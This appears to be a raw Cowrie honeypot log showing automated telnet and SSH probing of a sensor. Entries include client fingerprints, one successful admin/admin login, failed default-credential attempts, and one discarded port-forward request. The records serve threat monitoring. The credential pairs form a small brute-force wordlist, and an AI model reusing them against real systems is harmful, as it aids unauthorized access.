{"eventid":"cowrie.session.closed","duration":120.00187635421753,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:02.512895Z","src_ip":"189.219.54.254","session":"3ce2195589f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.9220027923584,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:03.603440Z","src_ip":"137.184.155.248","session":"b23c612f0510","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00136876106262,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:04.365935Z","src_ip":"189.219.54.254","session":"d13547ed7e1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.9853196144104,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:04.635256Z","src_ip":"137.184.155.248","session":"434cf083c612","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":53984,"dst_ip":"10.17.0.5","dst_port":23,"session":"06c21316e99a","protocol":"telnet","message":"New connection: 189.219.54.254:53984 (10.17.0.5:23) [session: 06c21316e99a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:04.755552Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":53988,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eda585b629f","protocol":"telnet","message":"New connection: 189.219.54.254:53988 (10.17.0.5:23) [session: 7eda585b629f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:04.933393Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59580,"dst_ip":"10.17.0.5","dst_port":23,"session":"c394b3712e0d","protocol":"telnet","message":"New connection: 137.184.155.248:59580 (10.17.0.5:23) [session: c394b3712e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:05.189981Z"}
{"eventid":"cowrie.session.closed","duration":46.8445930480957,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:06.267569Z","src_ip":"137.184.155.248","session":"488c965cf19a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59588,"dst_ip":"10.17.0.5","dst_port":23,"session":"9da1e28146ca","protocol":"telnet","message":"New connection: 137.184.155.248:59588 (10.17.0.5:23) [session: 9da1e28146ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:06.515219Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59598,"dst_ip":"10.17.0.5","dst_port":23,"session":"7651b71d840b","protocol":"telnet","message":"New connection: 137.184.155.248:59598 (10.17.0.5:23) [session: 7651b71d840b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:11.204860Z"}
{"eventid":"cowrie.session.closed","duration":45.36496949195862,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:11.236228Z","src_ip":"137.184.155.248","session":"eb3147829941","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.941714525222778,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:12.456827Z","src_ip":"137.184.155.248","session":"9da1e28146ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":59532,"dst_ip":"159.203.135.109","dst_port":23,"session":"b85db59c8aa0","protocol":"telnet","message":"New connection: 185.26.126.47:59532 (159.203.135.109:23) [session: b85db59c8aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:14.118438Z"}
{"eventid":"cowrie.session.closed","duration":49.71004319190979,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:15.171047Z","src_ip":"137.184.155.248","session":"6817dba06566","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.02369213104248,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:15.998547Z","src_ip":"137.184.155.248","session":"d4fa31be5c53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":9554,"dst_ip":"10.17.0.5","dst_port":22,"session":"695a59373381","protocol":"ssh","message":"New connection: 87.251.64.176:9554 (10.17.0.5:22) [session: 695a59373381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:22.702728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:22.707683Z","src_ip":"87.251.64.176","session":"695a59373381","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:22.804317Z","src_ip":"87.251.64.176","session":"695a59373381","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:23.094619Z","src_ip":"87.251.64.176","session":"695a59373381","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:23.193560Z","session":"695a59373381","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:23.292058Z","src_ip":"87.251.64.176","session":"695a59373381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:23.525614Z","src_ip":"87.251.64.176","session":"695a59373381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.36216926574707,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:25.991544Z","src_ip":"137.184.155.248","session":"7230bd93bd67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":38744,"dst_ip":"10.17.0.5","dst_port":23,"session":"fca1324ccb28","protocol":"telnet","message":"New connection: 137.184.155.248:38744 (10.17.0.5:23) [session: fca1324ccb28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:32.139361Z"}
{"eventid":"cowrie.session.closed","duration":48.546298027038574,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:37.008986Z","src_ip":"137.184.155.248","session":"72b350a79de1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.23797154426575,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:39.132915Z","src_ip":"137.184.155.248","session":"ed7724a8e77c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.31914710998535,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:39.837916Z","src_ip":"137.184.155.248","session":"3854a42b0b17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.695963859558105,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:41.710579Z","src_ip":"137.184.155.248","session":"0ed292b54a7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":32630,"dst_ip":"10.17.0.5","dst_port":22,"session":"b04a0045cbd8","protocol":"ssh","message":"New connection: 112.151.178.49:32630 (10.17.0.5:22) [session: b04a0045cbd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:51.446789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:51.451593Z","src_ip":"112.151.178.49","session":"b04a0045cbd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:51.665114Z","src_ip":"112.151.178.49","session":"b04a0045cbd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user04","password":"1234","message":"login attempt [user04/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:52.552498Z","src_ip":"112.151.178.49","session":"b04a0045cbd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:53.768659Z","src_ip":"112.151.178.49","session":"b04a0045cbd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.19078993797302,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:54.380668Z","src_ip":"137.184.155.248","session":"c394b3712e0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.60468363761902,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:57:55.809421Z","src_ip":"137.184.155.248","session":"7651b71d840b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":51126,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3669e4809bd","protocol":"telnet","message":"New connection: 137.184.155.248:51126 (10.17.0.5:23) [session: c3669e4809bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:02.412866Z"}
{"eventid":"cowrie.session.closed","duration":48.892768144607544,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:03.011067Z","src_ip":"185.26.126.47","session":"b85db59c8aa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":58304,"dst_ip":"10.17.0.5","dst_port":22,"session":"21b97496ea1a","protocol":"ssh","message":"New connection: 58.186.20.101:58304 (10.17.0.5:22) [session: 21b97496ea1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:10.611375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:10.615967Z","src_ip":"58.186.20.101","session":"21b97496ea1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:10.882812Z","src_ip":"58.186.20.101","session":"21b97496ea1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testpass","message":"login attempt [test/testpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:11.982094Z","src_ip":"58.186.20.101","session":"21b97496ea1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:13.261154Z","src_ip":"58.186.20.101","session":"21b97496ea1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.13131499290466,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:18.270577Z","src_ip":"137.184.155.248","session":"fca1324ccb28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50282,"dst_ip":"10.17.0.5","dst_port":23,"session":"99f5ad8f42b3","protocol":"telnet","message":"New connection: 137.184.155.248:50282 (10.17.0.5:23) [session: 99f5ad8f42b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:29.114717Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34442,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce2b8e25c3ce","protocol":"telnet","message":"New connection: 137.184.155.248:34442 (10.17.0.5:23) [session: ce2b8e25c3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:43.451674Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":45228,"dst_ip":"10.17.0.5","dst_port":22,"session":"75e2336a3911","protocol":"ssh","message":"New connection: 112.151.178.49:45228 (10.17.0.5:22) [session: 75e2336a3911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:48.331791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:48.336413Z","src_ip":"112.151.178.49","session":"75e2336a3911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:48.545026Z","src_ip":"112.151.178.49","session":"75e2336a3911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testwww","password":"testwww123","message":"login attempt [testwww/testwww123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:49.409864Z","src_ip":"112.151.178.49","session":"75e2336a3911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:50.619710Z","src_ip":"112.151.178.49","session":"75e2336a3911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.4703950881958,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:51.883140Z","src_ip":"137.184.155.248","session":"c3669e4809bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57094,"dst_ip":"10.17.0.5","dst_port":23,"session":"405d5d2fc6b1","protocol":"telnet","message":"New connection: 137.184.155.248:57094 (10.17.0.5:23) [session: 405d5d2fc6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:57.310031Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57104,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc4a3cee5e99","protocol":"telnet","message":"New connection: 137.184.155.248:57104 (10.17.0.5:23) [session: bc4a3cee5e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:58:57.945292Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57112,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d07aefa8824","protocol":"telnet","message":"New connection: 137.184.155.248:57112 (10.17.0.5:23) [session: 4d07aefa8824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:01.828526Z"}
{"eventid":"cowrie.session.closed","duration":5.135777473449707,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:02.445716Z","src_ip":"137.184.155.248","session":"405d5d2fc6b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":49708,"dst_ip":"159.203.135.109","dst_port":23,"session":"297dddfb27f8","protocol":"telnet","message":"New connection: 185.26.126.47:49708 (159.203.135.109:23) [session: 297dddfb27f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:04.000839Z"}
{"eventid":"cowrie.session.closed","duration":120.0016098022461,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:04.757025Z","src_ip":"189.219.54.254","session":"06c21316e99a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00173878669739,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:04.935015Z","src_ip":"189.219.54.254","session":"7eda585b629f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":56012,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3b4d11035ea","protocol":"telnet","message":"New connection: 189.219.54.254:56012 (10.17.0.5:23) [session: f3b4d11035ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:05.108779Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":56018,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fb7c258e69e","protocol":"telnet","message":"New connection: 189.219.54.254:56018 (10.17.0.5:23) [session: 2fb7c258e69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:05.185628Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58868,"dst_ip":"10.17.0.5","dst_port":23,"session":"803fc28e2cf4","protocol":"telnet","message":"New connection: 137.184.155.248:58868 (10.17.0.5:23) [session: 803fc28e2cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:07.644249Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58876,"dst_ip":"10.17.0.5","dst_port":23,"session":"acc7f67f9bbf","protocol":"telnet","message":"New connection: 137.184.155.248:58876 (10.17.0.5:23) [session: acc7f67f9bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:59:08.775808Z"}
